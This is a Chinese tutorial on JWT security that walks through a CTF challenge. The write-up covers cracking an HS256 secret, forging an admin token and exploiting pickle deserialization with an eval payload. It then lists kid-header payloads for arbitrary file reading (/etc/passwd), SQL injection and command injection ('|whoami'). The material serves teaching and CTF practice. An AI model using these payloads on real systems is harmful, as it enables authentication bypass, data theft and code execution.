Json Web Token简称jwt,用于身份认证等相关场景
JWT的结构
JWT由三部分组成, Header
Payload
Signature
其中 Header
一般是用于指定算法用于签名, Payload
则是我们声明的一些信息, Signature
则是根据 Header 以及 Payload 加密产生的
要创建签名部分,必须采用header,payload,密钥
例如HS256(HMAC SHA256),签名的构成为:
HMACSHA256(
base64Encode(header) + "." +
base64Encode(payload),
secret)
常用攻击方式
签名密钥可被爆破
这里面以一道CTF题目为例([CISCN2019 华北赛区 Day1 Web2]ikun) buuoj上可以复现
首先先找到有lv6的商品,这里面根据图片名遍历页数
import requests
import time
num=2
urltest="http://8b593fb8-8719-4e7d-bad0-9725019393d4.node3.buuoj.cn/shop?page="
test=requests.session()
while 1 :
url=urltest+str(num)
#print(url)
requests_url = test.get(url)
#print(requests_url.content)
if "lv6.png" in requests_url.text:
print(str(num))
exit()
#time.sleep(1)
num=num+1

但是购买的钱显然不够,但是在优惠率处可以修改,改为 0.0000008,买完后跳转到一个页面

观察Cookie发现是通过 JWT 来认证的,这里面我们把JWT放到 https://jwt.io/
看看

发现 payload 区域为test,显然我们要改为 admin,最后使用的签名算法为 HS256

既然是对称算法,我们爆破一下密钥试试,用下方这个项目
https://github.com/brendan-rius/c-jwt-cracker
我是Docker搭建的
docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.l0qG4XbJbemqJXsaITaT8g78fkJ-boRvU2H7H1CY644
之后爆破出密钥为 1Kun
因此生成我们要的jwt


获取源码进行代码审计

审计源码发现在 Admin.py
中存在Python反序列化
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
pickle.loads存在反序列化
参考这里面反序列化
https://xz.aliyun.com/t/2289#toc-1
import pickle
import urllib
class test(object):
def __reduce__(self):
return (eval, ("file('/flag.txt','r').read()",))
a=test()
payload=pickle.dumps(a)
payload=urllib.quote(payload)
print payload
# pickle.loads 会解决 import 问题,对于未 import的模块会尝试的import,所以就会加载我们的os模块
在成为大会员出抓包修改为pyload即可获得Flag
参考
http://www.cl4y.top/buuctf_wp/#toc-head-24
https://xz.aliyun.com/t/2289#toc-3
爆破密钥的话应用场景不是很大
空加密算法
将 alg设置为空,有可能绕过JWT的验证
修改密钥算法
即将非对称算法,改为对称算法
修改KID参数
kid是jwt header中的参数,用于指定加密算法的密钥,改参数由用户输入,因此可能会造成安全隐患
任意文件读取
kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/etc/passwd"
}
SQL注入
kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "key11111111' || union select 'secretkey' -- "
}
命令注入
对kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。
"/path/to/key_file|whoami"
对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。